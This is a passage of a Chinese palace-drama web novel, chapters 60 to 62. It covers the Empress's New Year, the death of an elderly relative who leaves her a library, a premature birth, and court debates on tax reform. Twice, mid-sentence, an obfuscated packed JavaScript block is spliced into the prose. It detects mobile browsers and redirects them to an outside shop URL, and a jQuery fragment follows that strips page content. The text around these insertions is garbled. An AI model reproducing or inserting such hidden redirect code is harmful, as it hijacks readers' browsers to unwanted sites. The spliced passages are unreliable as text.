逢州今年冬日罕见地下了一场大雪,雪晴后也不见化,庄子里的溪水也被冰封,鸟雀找不见食物,倒从林中飞出来。岳诗韫叫人在窗边撒了些米,每日便有鸟儿过来驻足啄食。待鸟雀走了,便又是万籁俱寂,这屋子里若是她和锦姨都不说话,真真是“人鸟声俱绝”了。 “这大雪,不晓得又要熬死多少人。” 京城今年冬日里没有飘雪,却异常严寒。干冷的风终日吹彻,刮得人脸生疼。师冉月终日一闲下来就用栀子香膏擦着手,才没叫手上的皮肤皲裂。 “明夜又该守岁了。”师冉月看着宫人忙前忙后在殿内布置着,明明那窗上吉祥纹样的窗花与殿内暗金的绸幔相称得很,却愣是叫她看不出一点喜色来。 木莲晓得她在发愁什么,只是不敢搭话。音儿如今不在,她领着尚宫的位置打理着六宫事务,却还是不能在师冉月面前自如。她想了想,便叫春桃去找合月,提前些让太子殿下来陪一陪皇后娘娘。春桃却摇头:“咱们的公主殿下闹了娘娘一个上午,这才午睡去了,我看娘娘现在兴许是不想孩子们在身前,去请太子殿下,倒不如去请贵妃娘娘。” “贵妃娘娘如今在俞充仪那里呢,哪里脱得开身。”俞安乐此次怀胎到了四个月时,便时不时见一点红,因此时常担惊受怕,生怕这第二个孩子也有个好歹。林绵看不下去,便主动搬到她阁中陪她同住。 宫中人皆道贵妃此举堪称大义,这般容易沾一身腥的事情竟主动去做。木莲却道:“说句大不敬的,就算真有了什么闪失,那怀疑到贵妃娘娘头上的人也是真昏了头了。”毕竟论理,林绵身为贵妃,有皇长子傍身,没有理由戕害皇嗣;论情,林绵在这宫中素来好心而又人淡如水,就差在宫里带发修行了。何况她是后妃中陪着端木玄最久的人,又与皇后交好,什么都不做荣华富贵也尽在眼前,若是想不开去谋害皇嗣,那也真是着了魔了才能干出来的事了。 春桃也无法,叹道:“这事儿的根源还在陛下。” 木莲长叹一声,摊手道:“谁能想到整整一年过去,陛下和娘娘竟还未和好,真是愁人。”又道:“不过明夜陛下总不会不给娘娘这个面子吧?” “这一年陛下只在坤宁殿留宿了三次,什么‘逢五’‘逢十’的也都不顾了,守岁这事儿,还真不一定。” 木莲惨笑:“到底还有三次,不是一次没有。” “那三次,除了娘娘给陛下行礼,此外两个人都一句话没说,也和没有没什么两样了。”春桃道。 “木莲,春桃,你们在外面说什么呢?” 两个人连忙进了殿,道:“我们没说什么,没说什么,娘娘。” 师冉月瞪了她们一眼,道:“你们两个丫头,也不嫌冷。今年阳曲侯府的贺年礼还未送来么?” “娘娘忘了,侯府上个月忙着二姑娘的婚事,半个月前才回门,今年过年格外忙些。前几天云和长公主刚递了话来,说是今年的年礼初一当日再送来呢。” “啊,本宫竟忙忘了。” 彼时端木婉、师霖、端木萌、师焕、师玘几人暂返京城,送师景安在京城出嫁。然而她却坚持赴逢州回门,在逢州小说又住了半个月,直到腊月中旬才又返京,随后便马不停蹄地又与端木葭和岳添一起回了蒲城。 师家先办了师景安的及笄礼,又忙完这桩婚事,接着紧锣密鼓准备着过年,从主子到仆从几乎偷不得一点懒,这才算是没出什么差错。 这当中凡在京城的,师冉月总是明里暗里帮着安排了些,然而在逢州的她便是无论如何顾不及了,因此上个月写信回去,特意叮嘱端木萌送年礼时要附上信来,把这几个月家中的事事无巨细地告诉她,便也格外记挂着这封信,谁承想竟还是记错了。 她低头拨弄了一圈手腕上的玛瑙串珠,心中莫名有些不大安宁。不过这种感觉自从知道了师骁的死讯之后便时有时无的,如今她甚至有些适应了。 她扯回翻飞的思绪,对木莲道:“将宫宴的流程单子拿来,本宫再核对一遍。” 赤红底的单子呈上来,墨字娟秀工整,一丝不苟。师冉月从头至尾拿笔杆点着对了一遍,赞叹道:“不错,面面俱到。尤其你这字,倒比音儿的还好看些。” 木莲微微低着头,脸颊有些绯红,道:“娘娘谬赞了。” 师冉月又看了一遍上面的名字,叹道:“这人倒是一年比一年少了。” 宗室戚里中,今年又少了怀宁长公主与颍川侯,云和长公主与阳曲侯夫妇本就不在,其余各地藩王或是远嫁的宗室女子,若无诏令,这样的宫宴也是不必赴京参加的。 不过这感慨也就一瞬。 木莲收了单子,很快又下去忙了起来。师冉月接着对着今年宫中的账目,又照常看了遍江映等人的脉案,一恍便到了午时。 吃着尚食局今日进献的那道鱼羹,她却又想起逢州巷口鱼肉馅的饺子来。再过两个月,逢州就可以采新笋了,新笋配江鲫,那才是鲜上加鲜,不似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238790|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这鱼羹连鱼的味道都快没有了。 这么一想着,原本还觉得尚可的菜入到嘴中就成了味同嚼蜡,师冉月登时没了兴致,放下筷子靠在椅背上想了想,终是叹道:“还是叫小厨房给我蒸一屉汤包来罢。” 有些冷。 半梦半醒间,师冉月眯着眼睛,隐约瞧见窗纸透出些异样的光亮。她轻吸了口气,坐起身来,意识慢慢回笼。 她轻声起身,越过睡在外侧的人,在床头随手拿了件披风披在肩上,趿鞋走到窗前,将窗户支起一条缝,才发觉原是下雪了。 殿前的石阶上已然覆上一层薄雪,不远处有两个宫女动作缓慢地冒打扫着,柔软的竹枝在雪上划出一道道痕迹,很快又被掩埋。天已暮色,银装映衬着微光,倒比平日亮些,却也衬得屋内更加昏暗。 师冉月重新阖上窗户,瞥见屏风后隐隐有人影,便放轻了脚步走过去,才发现是木莲正等在那里。 木莲见到她出来眼睛一亮,又不免道:“外头凉,娘娘怎么只披了这披风......这是陛下的披风——” 师冉月这才仔细看了眼那披风,玄色龙纹,她笑了笑道:“无妨,你怎么等在这里?” 木莲忙将手中的信递给她,道:“这是云和长公主教人加急送来的,半个时辰前方到。” “加急?”师冉月嘀咕着,脑中尚且迟疑着,手上却很利索将信拆开。 起初两页瞧着那墨痕已经写了一段时间了,总不过是絮叨了些逢州家中诸事,甚至字间还有端木婉的批语;后一页墨字却新了不少,字却潦草许多: “小六,岳太夫人今晨骤亡,尚未发丧。所遗书由其亲自整理成箱,由锦姨携人押至京中赠你。后续丧仪事忙,余事日后详谈。乐康三年除夕。云姝。” 师冉月突然滞住。 不知怎的,比起悲伤,她如今更多觉得的却是心慌,而后脑中心中便是无尽的空白。 不知从何时起,岳诗韫的脸庞在她心中越发模糊,无论是对一切都漠不关心又了如指掌的那张脸庞,又或是此时......她像某个姨母,于她,又或者半个母亲,尤其是唐烨去世之后。其实她对自己那一双儿女似乎并不关心,起初是因着自己身不由己的婚姻所带来的厌恶,还有些避嫌的意思,后来却好似成了习惯,直到唐烨去世。 唐烨去世,为着某些承诺——她似乎比亲情更看重这个——师冉月因此格外得她的照顾,甚至似是族中的母兽庇佑孤子。 端木玄披着师冉月的素色披风走过来,抽走她手中的信纸看了一遍,皱眉瞧着她发愣的眼睛,抬手握了握她僵住的冰凉的手,沉声道:“你可要回逢州吊唁?” 师冉月摇了摇头。 “可要追封?” 师冉月似是这才从思绪中缓缓抽离,半晌,叹了口气,道:“岳太夫人是昭献皇后胞妹,陛下若要恩典追封,臣妾代为谢恩。” 端木玄不语,只将信纸替她压在案上。 两相无言之际,一声惊呼自殿外传来:“陛下,娘娘——” 师冉月突然恍神般一颤,迅速站起身来,与端木玄一同向门口走去,却见是昭成殿的宫女沁绿,见到二人,竟一下子跪在阶前雪里:“陛下,娘娘,我家娘娘要早产了,还请陛下和娘娘救救我家娘娘罢!” 端木玄皱眉道:“太医去了么?” “去了,邹太医已经到了,稳婆也到了,只是我家娘娘是早产,恐生不测,奴婢们也不好做主啊。” 师冉月神色一凛,忙转身回殿内迅速换了衣裳,也不顾端木玄便匆匆往昭成殿去。江映的预产期原还有近两个月,此时生产若是出什么岔子,难免又如先前悲剧。 这般想着,一时也顾不上其他,直到进了昭成殿,亲耳听见邹太医和稳婆都说虽是早产,但江映与孩子暂时都没有危险,这才放下心来长出了口气,坐到一旁喝上一口热茶,细细询问起宫女江映早产的缘由来。 江映这胎虽是早产,但果真顺利,先后不过两个多时辰孩子便顺利降生。 “恭喜陛下,喜得皇子。”师冉月将孩子抱给端木玄,接着便抽身到殿内去看江映的情况。 江映这会儿还醒着,只是浑身上下的汗尚未消退,瞧着虚弱不已。师冉月扯出笑容,坐到榻边握了握她的手,道:“是个皇子,恭喜你。” 江映也只是勉强笑了笑,手指动了动,道:“多谢娘娘。” 61.第 61 章 “江昭仪平安生产,这下你也好少些牵挂了。” 林绵与师冉月并肩在梅园中走着,各自捧着手炉一刻不肯放手。石板铺就蜿蜒的小径,曲折回环,引着人向梅园深处去。小径上的雪已被清扫干净,如今那一场雪的痕迹,也只能从亭台檐角还有这梅树上寻得了。 师冉月道:“三个少了一个,也算不上轻松。” 皇子降生,又逢新年,自是一大喜事。端木玄亲自为皇子取名为嵩,又将江映晋位为妃,赐封号为惠。 “‘申伯之德,柔惠且直’。这倒是个好封号,不过我倒觉得,比起这个‘惠’字,江氏倒是更合聪慧的‘慧’。” “陛下为皇子取名时恰巧看到这句罢了。”师冉月叹道,“本来他为了省事,想直接将江氏晋位为德妃,还是官大人劝说他越级晋升不合规制,这才罢了。” 林绵嘲讽一笑,轻声叹道:“咱们这位陛下啊。”却也不再继续说下去。 二人沉默地走着,半晌,师冉月微微转头看向林绵,道:“岳太夫人三日前去世了。” 林绵讶然。 “怎么......未听讣告?” “事情突然,未能准备,又逢新年......大概还要过几日再发丧罢。”师冉月低头道。 林绵的眼中流露出一种许久未见的怅然,“上次我见到她......哦,是你们初到慕州,我去府上拜访的时候。”思绪飘到更远,她缓缓忆道:“她出嫁的晚,比起昭献皇后,幼时我在岳府住着的时候,倒与她更熟悉些。我那嫡母住在母家守寡,昭献皇后想来是不大喜欢她的,而岳太夫人却不然。”她顿了顿,“不是她与我嫡母亲近,只是她似乎待谁都是那个距离,不远不近。” “是啊。”师冉月点了点头。 “不过,至少她应当没有受苦。活到这个年岁,也能算是寿终正寝了。” 未出正月,京城的天便莫名回暖了几日,城墙根底下积的雪白日里化了水,夜里混着泥灰又冻结成冰,混着城中人家每日倾倒出去的污秽气息,平添了几分脏乱。 这样的地方,如今连马儿都是不肯歇脚的,却是那些流民歇身之处,饿殍长眠之所。 音儿一大早带着马车至城门边等候时,尚有人在搬运着城脚下昨夜新冻死的尸体,脚步里带着晨起的疲惫,草鞋掀起泥水溅到麻黑色泛着油光的裤腿上,脸上已看不出什么情绪,只是疲倦和麻木。 天光方才凉了一半,风一吹便是彻骨寒凉。随行的宦者忍不住向音儿道:“姑姑,这外头又冷又脏的,您还是到马车上等着罢?” 音儿皱了皱眉,一时未开口,却也未动脚。她向四周打量了一番,道:“今年天寒,官府便罢了,城中富庶人家也没有设粥棚救济灾民的么?” 宦者哂道:“姑姑也知道,那粥棚以往也不过是谁家有喜事做做样子罢了,这般吃力不讨好的事,没有咱们皇后娘娘那般仁心,又有几人肯去做呢?”说着,又放低了声音,故作神秘道:“奴才还听说,前两年有个四品官家的女儿,到自家粥棚主持施粥时被一个老乞丐摸了手,这事儿一传开,就被未婚夫婿家里退了婚,没几日就在家上吊了。从此之后,便是有心的,也无人敢来了。” 却有跟着音儿的一个小宫女忍不住出声辩驳:“那些灾民连饭都吃不上,性命朝不保夕,怎么还会做出这等事?我看怕不是那未婚夫婿家里本就想推拒了那婚事,这才编排出这样的谣言,平白毁了女儿家清誉!” 另一个宫女拉住她,只叹道:“这样的事倒也是有的。人心难测,恐怕有的人即使刀架在脖子上,口中也一样能说出来龌龊下流的话罢。不过......” “不过什么?” 那宫女摇了摇头,没有再搭话。只是她心中想着,这些官宦人家的所谓“贵女”在马球会或是东宫宴上与出身相当的公子眉目传情,只要不大出格,似乎也不会遭受多少非议,甚至堪称风流韵事。可若是与这些“贱民”哪怕多说一句话,不守妇道是假,“自降身份”倒是板上钉钉的事儿了。这世间所谓评判是非的准则又哪里有公平可言呢? 音儿听着他们的话轻叹一声。她自小在师家长大,晓得施粥这等事,前些年还算太平的时候,本就是为各家未出阁的小姐争个乐善好施名声的台子,当年师家也只有奉上家中子嗣科举中榜或是喜添新丁时才会设粥棚,叫师吟月与师冉月去博个名声。便是如师冉月那般闲来无事亲身去施粥的,也务必要带面纱甚至斗笠遮面,万不可在“贱民”面前显露真容。更多的人家,便是姑娘主子远远坐着,由上了年纪的嬷嬷或是粗使丫鬟代为施粥。 至于男子们,素来觉得此等事情有失身份,这等菩萨心肠的事,就该由女人家去做。 有些人家更是直接将这种事交由管家老奴代替,当中油水,自然更是落不到灾民腹中了。 方才那宦者所说“皇后娘娘仁心”,的确,此番场景若是叫师冉月亲眼所见,她不会不管的,尽管可能微不足道,治标不治本,但她也无法做到袖手旁观,尽管她其实没有什么同情心,更多的时候,更似是良心上过不去而为之。 这般想着,音儿摸了摸袖袋,取出随身带着的所有银子——尽管只有几两,亲自走到城门旁,分给四下蜷缩着的几个老者和妇孺。身后的侍卫很快反应过来,拿刀紧紧跟上,看向那些人的眼中尽是防备。 音儿心中无奈,面上却没有显露,只是不动声色地很快分完银钱,便回到了马车里,只掀开车帘时不时望着远方。 好在不多时,便瞧见一队车马蒙着晨雾而来。音儿一眼认出为首的那辆马车是师家的,立刻下了马车,往前走了几步相迎。 很快,那车队在他们面前停下,为首那辆马车上下来一个鬓发尽白的老妇人,正是岳诗韫身边的锦姨。她瞧上去倒比往昔清瘦了不少,纵然穿着冬袄也是身影单薄的样子,虽不至于形销骨立,却也像是秋风中孤立的一支枯藕干瘪瘦削。 音儿瞧见她莫名的有些激动,上前像幼时跟在师冉月身边那样向锦姨行了个礼。锦姨却微微弯腰虚扶起她,缓缓道:“使不得,姑娘如今是宫里的人,怎可给我这一老仆行礼。” 音儿道:“我如今已经不在宫中领职了,何况我见到了嬷嬷,就好似回到了皇后娘娘未出阁的时候,好似看到了我的父母。” 锦姨笑了笑:“你父母倒是一向都好。”说罢,似是不想再就此寒暄,只是向后指了指那几辆车上的楠木箱子,道:“这便是岳太夫人托我送给皇后娘娘的东西,便请姑娘带人送入宫中罢。” 音儿点头答应,又道:“嬷嬷不进城么?侯府已经收拾出了住处。” 锦姨摇头,看了看身后跟着的一路运送这些书箱的府卫,道:“他们进城,我便不了。三夫人特意恩赐我这辆马车回家去。” “回家?” “姑娘忘了,我是从岳府跟着我家姑娘嫁到师家来的啊。我的本家,自然是在蒲城。如今我已是自由身,虽无亲子,但也有些旁亲尚存于世,只盼着终老家乡罢了。” 音儿有些恍然。 送别了锦姨,看着随行的宦者与师家府卫交接,将那些楠木箱子转头运送入城,又至宫门下由有司查验过,再抬着那些箱子往坤宁殿去。 音儿早早便瞧见师冉月已在外候着,疾走了两步到她身边,道:“晨起天凉,娘娘怎么不披那件狐尾毛的大氅?” “那件太厚太沉了。”师冉月笑了笑,任由她为自己紧了又紧身上的披风,又查看了手炉的温度。 亲眼看着一箱箱书紧随着落地殿中,师冉月这才松了口气,叫木莲赐了赏银后,便亲自一箱箱打开理起书来,所有书必须要先过她的手,连音儿都只许从旁协助整理。 箱中不止有如今的成书,还有不少竹简绢帛,以及手稿残卷,大多是岳诗韫出嫁时带来的,还有这几十年陆陆续续收集来的。除却诗书礼易,还有不少志怪小说,甚至师吟月和师冉月少时搜罗来的戏本、话本,甚至是说书先生不要的手稿,皆被仔细收藏,不曾污损丢失。 翻开来看,字里行间杂着不少不同字迹的批注,也有的是夹在书页间的纸条。师冉月惊喜地发现自己几乎都还能辨认出这些字迹的主人,最多的便是岳诗韫不失风骨的小楷以及师吟月的行楷,还有她八岁时仿着字帖写的歪歪扭扭的小篆,师吟月十二岁时用鼠须笔写的隶书小字,还有师焕一丝不苟的题字和师骁乱七八糟的被逼着写的读后感悟...... “我幼时这字写的竟这么丑,比四哥的还丑。”师冉月找出一本她当年从岳诗韫那里拿的《左传》,看着上面歪歪扭扭的字一脸惊讶又好笑,更好笑的是里面还夹着两张她仿着春秋笔法写的自传和师吟月传,文法生涩幼稚,更是令她哭笑不得。 这一日师冉月闭门谢客,直整理到快四更天,看着宫人放置妥当,这才脱衣就寝。 乐康三年的春日里,俞安乐和赵玉熹先后诞下了排行第四的福成公主端木润和排行第五的安成公主端木泠。 赵玉熹生产后不过两个多月的时间便又有了身孕,端木玄特为其破例,将她越级晋位为昭容,迁居耀光殿。俞安乐因四公主的缘故亦晋位昭媛,迁居明照殿。 这样一来,便只有蒋纹一人仍居才人位。师冉月为其向端木玄求来恩典,以其伴驾多年未曾有错的缘故,将其晋位为修容。 坤宁殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244603|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那三株三角梅意外地活得很好,甚至其中一株在这年夏天还开了花,加上师冉月原先养的碗莲、绣球、栀子和海棠,不必去御花园,光坐在这殿中也如同置身花市,各色鲜花争奇斗艳,欣欣向荣,好不热闹,教人看了也要高兴几分。 “好花不常有啊。”师冉月看着院中的花,躺在藤椅上摇着团扇,摇头晃脑地叹道。 音儿给她端来一碗冰酪,道:“这花儿都开得好好的,娘娘感叹这个做什么。” 师冉月笑而不语。 音儿方回宫中不久又诊出身孕,她却不愿意回家养胎,也不再领尚宫之职,只留在师冉月身旁做些轻活儿。 师冉月教人再搬来一张藤椅,拉着音儿一起坐下赏花,看着看着,突然道:“音儿,今儿中午我们吃拨霞供罢?” 音儿觉得好笑:“娘娘赏着花,怎么想起拨霞供来了?” “‘浪涌晴江雪,风翻照晚霞’,这花儿开得也像晚霞似的,红一片紫一片。”师冉月又恢复了兴致勃勃的样子,继续道:“我们只吃你能吃的食材,或者效仿蜀地,用铜板将那锅子隔开。”说罢,也不等音儿回应,已经利落地起身,拔腿便奔着小厨房去了。 音儿无奈,连忙也起身跟上,又回头拿过师冉月还没动嘴的冰酪,叹道:“好么好么,又像个小孩子了。” 京城的蒋府依旧是一处独门小院。 官成澈七拐八拐绕进好几个巷子,才终于找到那处门边挂了块刻了个“蒋”字的小木牌的小院子。灰泥草草砌就的矮墙,门板上一副春对子飞着毛边儿,小小的门扉甚至要官成澈低下头才能进去。 他暗叹一声,伸手扣了扣门扉,很快便又个童声喊着:“先生,有人敲门!” 随后便听见里面有人沉声说了句什么,很快便有个童子来开门,眯眼笑着道:“先生请进!” 这院子也如那院墙一般质朴小巧,墙角一棵似是几十岁的枣树,长得郁郁葱葱,树荫几乎遮蔽了大半个院子。树下架着竹竿,一半晾衣裳,一半爬瓜藤。一旁还有个石桌,一边是个石墩子,另一边却摆了个不相称的木头长凳。桌上摆着一张棋盘,左右放着藤编的棋篓。 官成澈四处打量着,一时脚下一绊一个踉跄,那童子连忙来扶住他道:“先生对不住,这里的石头前两天裂开了,我就给挖出来搬走了,还没安上新的呢。” 官成澈看着脚下那残缺的石板路哭笑不得,忙摆手道“无妨”,一边也收了眼神,提起衣摆快步向屋内走去。 蒋节倒是稳坐于书案后,见到官成澈进门,才起身绕出来行礼相迎。 官成澈也不欲与他虚与委蛇,坐下喝了口茶,便道:“蒋兄昨日送上去的奏疏,吴相与我看过一遍。蒋兄改税制以富国,想法是好的,然而依你所说的法子实施下去,上至豪门望族,下至乡绅地主,每月便要多缴二十两银,是否不够妥当?” 蒋节却道:“二十两银,于这些人家不过是女眷头上少一支钗,或是桌上少两盘菜罢了。然而依从前朝中诸位大人曾提过的法子,这二十两银最终皆要落到百姓头上。朱门里随手花出去的二十两,却是柴扉人家一年的花销,甚至是城墙外那些人起死回生的救命钱。” 官成澈叹道:“先前是有人提出......但也有人如蒋兄所想,因此改税一事才迟迟没有定数。此事实在不宜操之过急。” “若再不急,恐怕我大淮国运将止于三十年内尔!” 官成澈拍案而起,横眉怒喝道:“慎言!”他转首顾左右,喘了口气,倾身向蒋节沉声道:“蒋大人,这是在京城,天子脚下,不是在你那泉郡市舶司的时候。” 蒋节不语,官成澈却又想到了什么,接着道:“据我所知,蒋兄在泉郡也多受景大人照拂罢?” 蒋节皱眉道:“景大人是端方君子,我受恩于他,他日若有机会自当报恩。然税法乃国事,与私情无关。” 官成澈轻呵一声:“‘端方君子’。” 蒋节眉头皱得更深,一时间却也未开口辩驳。 官成澈继续道:“何况蒋大人以为,这些人家桌上少了两盘菜、女眷头上少了一支钗,难道就止步于此了么?他们只会想要更多盘的佳肴和更多副钗环。加税与不加税,并不会阻碍搜刮民脂民膏,甚至会愈演愈烈,彼时蒋兄又当如何?” 蒋节却拱手道:“如官大人这般高山景行之士,自能约束家人。此般总好过直接压榨百姓。” 官成澈却嗤笑着摆手道:“蒋兄真是折煞我。豪门望族盘根错节,不止京城,怎谈得上约束不约束?若蒋大人弹劾我官氏有族人为祸乡里,我也只能息事宁人。蒋大人熟读经义,也该明白法不责众的道理。” 62.第 62 章 “陛下,方才惠妃娘娘宫中的人来传话,说是四皇子殿下今日午后一直不大舒服,请您过去呢。”岑嘱全捧来一碗热茶放在案边,道。 “不舒服,就去请御医。”端木玄事不关己道,“朕记得今日是初五?” “正是,陛下。” “那正好,你去坤宁殿将皇后请来。” 岑嘱全忙应下,一溜地去了坤宁殿。然而待他到了坤宁殿,才晓得端木汐今日闹了肚子,折腾了一天才算好了,如今连同师冉月一起早已睡下。岑嘱全登时冷汗直流,站在殿门口左也不是右也不是,最终还是“哎呦”叹了一声,轻声挪到殿前,向着门口守夜的小宫女说了原委。 不多时木莲自暖阁中走出来,叹道:“皇后娘娘今日劳累了一整日,如今已经睡熟了。劳烦岑公公回去与陛下说一声,若没什么要紧事,娘娘明日下朝后再去清和殿面见陛下。” 岑嘱全无法,只得无功而返,战战兢兢地向端木玄说了前后,没成想端木玄并未责怪,只道:“那便不必了,待朕闲时再去坤宁殿就是。” 次日一早,师冉月自木莲那里听得了昨夜之事,也没放在心上。她昨日照看女儿一整日,晚上困乏的很,一点动静都未曾听见。如今照常早起,仍觉得有些头晕,便叫小厨房用瓜丝和瘦肉炖上一碗清甜的粥来,配上她自己学着街巷酒肆里老板娘的法子腌的酸辣可口的小菜,倒比那菜样精致的山珍海味吃了更教人舒适。 好容易吃完,又收拾齐整,却又听说端木玄甫才下朝便遇见了在清和殿前等候的徐聆雨,便一齐进殿,这会儿仍未见徐聆雨出来。师冉月便也不急,正巧再与御医一道看过端木汐,确认了她已没有问题,这才慢悠悠往清和殿去。 “臣妾参见陛下——怎么不见徐贤妃?” “她已经回去了。”端木玄瞧着心情颇为舒畅,递给师冉月两封奏疏,道:“这里一封是官尚书写的,一封是蒋侍郎写的,都是有关税法改革一事,然而他们二人的意见却截然相反。” 师冉月接过来看了,道:“官大人以为当从田税改起,减免农户田税,以兵役替代,同时加征商税;蒋侍郎却要加征田税,但只加征有田五十亩以上之户......陛下以为呢?” 端木玄道:“朕以为,二者皆取。” “皆取?” “对,皆取。令户部分开统计,一年以后,再看谁更胜一筹。另外方才徐贤妃献策于朕,可废除年满十六岁以下者人头税,以口粮税替代,以此减轻养育子女之负担,以保壮丁之数。朕以为此法言之有理,与官尚书的法子结合起来正好。” 师冉月讪讪道:“陛下此举,意在富国足兵?” “正是。”端木玄一副很满意的样子,这会儿已经提笔写起了诏令。师冉月闭了闭眼,想着她欲说的,端木玄本也知道。这番改税也是权宜之计,不过一年,想来出不了什么大乱子。自己一味反对,比起徐聆雨那般献策支持,倒惹人生厌。 这般想着,她便也不再就此发表意见,只道:“这番除却两位大人,徐贤妃为陛下献策,虽尚未实施,但为陛下分忧,也算有功。陛下可要给她什么赏赐?” “徐氏是后宫之人,赏赐一事,便由你看着办罢。” “那臣妾斗胆替徐妹妹向陛下求个赏赐,允其晋位为宸妃,如何?” 宸妃原是太祖皇帝当年为了家世不显的宠姬独设的一个位分,位列四妃之外,但恩宠待遇皆与贵妃比肩。如今徐聆雨恩宠渐衰,膝下又只有一个女儿,实则是到不了此位的。 “徐妹妹是自王府时便在陛下身边侍候的,又是昌留大长公主之后,特殊些也是应当的。”师冉月微微福着身子,却抬眸望向端木玄。 端木玄笔墨未停,只道:“后宫之事你做主便是。” 师冉月这才又一礼,道:“那臣妾便替徐妹妹先行谢过陛下了。” 芥湖今夏的莲花谢得格外迟。一掬一掬的红莲妖冶得将要溃烂,景致堪称奇异,引得常居湖边的人路过时也忍不住驻足一观。 张雁独身一人,穿着一身月白色的衣衫,步履漂浮地踱步在这湖边。端木萌带着人找寻过来时,远远瞧见这般身影映在红莲边上,似是湖中的仙子化身显形一般飘忽。端木萌遥遥望到那身影,脚步一顿,心猛地往下一沉。 行湘扶住端木萌,担心道:“夫人,今年湖边水深,您还是别过去了,叫嬷嬷们去将四夫人请回来罢?” 端木萌只是望着张雁,纠结了一阵,拍了拍行湘的手:“你去将侯爷昨日送回来的信取过来。” 待拿到信,端木萌这才脚步轻缓地独自一人继续往湖边走去,直到握着张雁的手坐下来,她才喘匀了一口气,将信递给她扯唇笑道:“这是子持昨日送回来的信——琦哥儿这次随着他伯父一同去沉州,颇有长进,布行新进的一批绸竟是他谈下来的呢。” 张雁接过信,顺着端木萌手指的方向看了两眼,点点头,又将信塞回端木萌手中,开口道:“既说起琦哥儿,嫂嫂,我有一事相求。” 她的神情并不似方才身形那般恍惚缥缈,只是说话间总带着些轻微的咳喘,仿佛再开口便要气若游丝说不出话来了。 端木萌抓紧她的手,道:“妹妹但说无妨。” “副都指挥使成巳、成大人,他的幺女,名唤绰仙的,今年十一岁。求嫂嫂为琦哥儿,向成家提亲。” “这是什么话!你是琦哥儿的亲娘,待你日后病好了——” 张雁笑了笑,握了握端木萌的手,道:“嫂嫂,我也懂些医术,何必骗人骗己呢。” 端木萌却急得几要落泪:“你!你这些日子只把自己圈在那屋中,也不许我们去看你......若是早些请御医来——” “御医只会搪塞媚上,也没什么本事。人各有命,我这一生虽有些无聊,但也没全然虚度,总还说得过去。”张雁望向湖中红莲,半晌不语,末了只看着红着眼眶的端木萌轻叹了一声,从她手中抽出自己的手,便踱着步往家中去了。 乐康四年春闱,师焕得中二甲,赐进士,知魏县。 师焕少年及第,朝野纷纷议论,赞其有先祖师虑遗风。因着师霖等不在京中,师焕自放榜后便深居简出,授官后更是匆匆离京赴任,因此众人能溜须拍马的便也只有师冉月了。 连着听了几日,师冉月无趣的很,便对外宣称自己病了,凡入宫的外命妇一概不必到坤宁殿请安,这才换回了清净。 “娘娘,赵昭容方才派人来问您的病,想来探望您呢。” 师冉月正巧手头也没什么事,想了想,便道:“只说本宫已经好了,她想来便来罢。” 赵玉熹两个月前方才又生下了六公主端木清,才出了月子没多久,也不常出来走动,算起来自师冉月上次到耀光殿探望她和二位公主,也过去好一段时间了。 不一会儿,赵玉熹由吴怀安引着入了殿,向师冉月行礼问安。 师冉月抬眸看去,只见她穿着一身西子绿的衣裳,腰间的系带是影青色的薄纱。头上只插了两只银钗并素色绒花,另外戴着只石绿抹额。 “罗幕,给昭容赐座。”师冉月吩咐道,继而又看向赵玉熹,问道:“怎么穿的这般素净?” 赵玉熹道:“天越发燥热,只有这些素色的衣裳穿起来显得凉爽些。”继而又问起师冉月的病来。师冉月也没有隐瞒,笑道:“不过是推托之词。” 赵玉熹了然笑笑,继而也不绕弯子,道:“今日臣妾前来,原是想请娘娘应允,将安成公主交由蒋修容抚养。安成甫才一岁多,如今康成又才出生,臣妾实在是有些分身乏术。蒋妹妹入宫这些年尚未有自己的孩子,她又常来我宫中帮我照顾安成,臣妾便想着不如干脆将安成交由她来抚养。若是来日蒋妹妹有了自己的孩子,还想养着安成,或是臣妾再将安成接回来,也都无妨。” 师冉月点了点头,“安成是你的女儿,既然你和蒋修容都愿意,自然可以。”说罢,便将木莲叫来,命她将此事告知端木玄。 “若是来日要将安成直接记在蒋修容名下,你们再来与本宫说便是。” 赵玉熹顿了顿,垂眸想,比起中宫皇后,师冉月倒似是一个大权在握云淡风轻的尚宫,宫中这些妃嫔与庶出的皇子公主如何,倒像是与她一份关系都没有。 她一时失神,直到音儿亲自端来两盏甜姜茶并一碟绿豆荷叶酥放在案上,又笑着道:“娘娘,惠妃娘娘正等在殿外呢。” “请她一并进来吧。” 不多时,江映款步而至,一条苏梅粉的菱纹裙子,袖口是水红镶边,又用胭脂紫混着金线于裙摆间绣着红莲纹样,步履生辉,衬得她雪白的肤色也染上几分淡粉,瞧着柔嫩别致。 她盈盈俯身行礼,落座后方才浅笑道:“臣妾听闻皇后娘娘病愈,便想着带三皇子来探望娘娘。可惜三皇子昨夜腹痛,如今虽好了,却也没什么精神,只得臣妾自己一人来了。” “小孩子肠胃娇弱。可请御医瞧过了么?” “御医瞧过了,说是昨日午后贪凉多吃了两块冰瓜的缘故。”说着,她又看向赵玉熹,道:“还是赵姐姐有福气,得了两个女儿,如今又是听话的时候。” 赵玉熹笑了笑,只道:“三皇子越发大了,只会越来越懂事。何况孩子听话与否,倒与是男是女没什么干系。惠妃娘娘年轻,又得圣心,若想要女儿,再生一个公主就是 